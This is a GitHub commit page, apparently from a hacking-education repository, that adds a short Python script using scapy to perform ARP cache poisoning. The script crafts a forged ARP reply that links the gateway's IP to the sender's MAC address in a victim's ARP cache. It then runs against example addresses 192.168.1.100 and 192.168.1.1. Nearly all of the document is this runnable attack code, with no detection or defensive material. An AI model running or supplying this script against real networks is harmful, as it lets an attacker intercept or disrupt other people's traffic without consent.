Merge pull request #162 from The-Art-of-Hacking/santosomar-patch-6

Create arp_cache_poisoner_simple.py
This commit is contained in:
Omar Santos 2023-07-03 16:25:46 -04:00 committed by GitHub
commit ec21ee0885
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -0,0 +1,25 @@
from scapy.all import *
# Author: Omar Santos
# Perform ARP cache poisoning
def perform_arpcache_poisoning(victim_ip, gateway_ip):
"""
Performs ARP cache poisoning by sending a crafted ARP packet to associate the gateway IP-MAC mapping
with the victim IP.
:param victim_ip: IP address of the victim device whose ARP cache will be poisoned.
:param gateway_ip: IP address of the legitimate gateway device whose IP-MAC mapping will be spoofed.
"""
# Construct the ARP packet
packet = ARP(op=2, pdst=victim_ip, hwdst=getmacbyip(victim_ip), psrc=gateway_ip)
# Send the ARP packet
send(packet, verbose=0)
# Specify the victim IP and gateway IP
victim_ip = "192.168.1.100"
gateway_ip = "192.168.1.1"
# Perform ARP cache poisoning
perform_arpcache_poisoning(victim_ip, gateway_ip)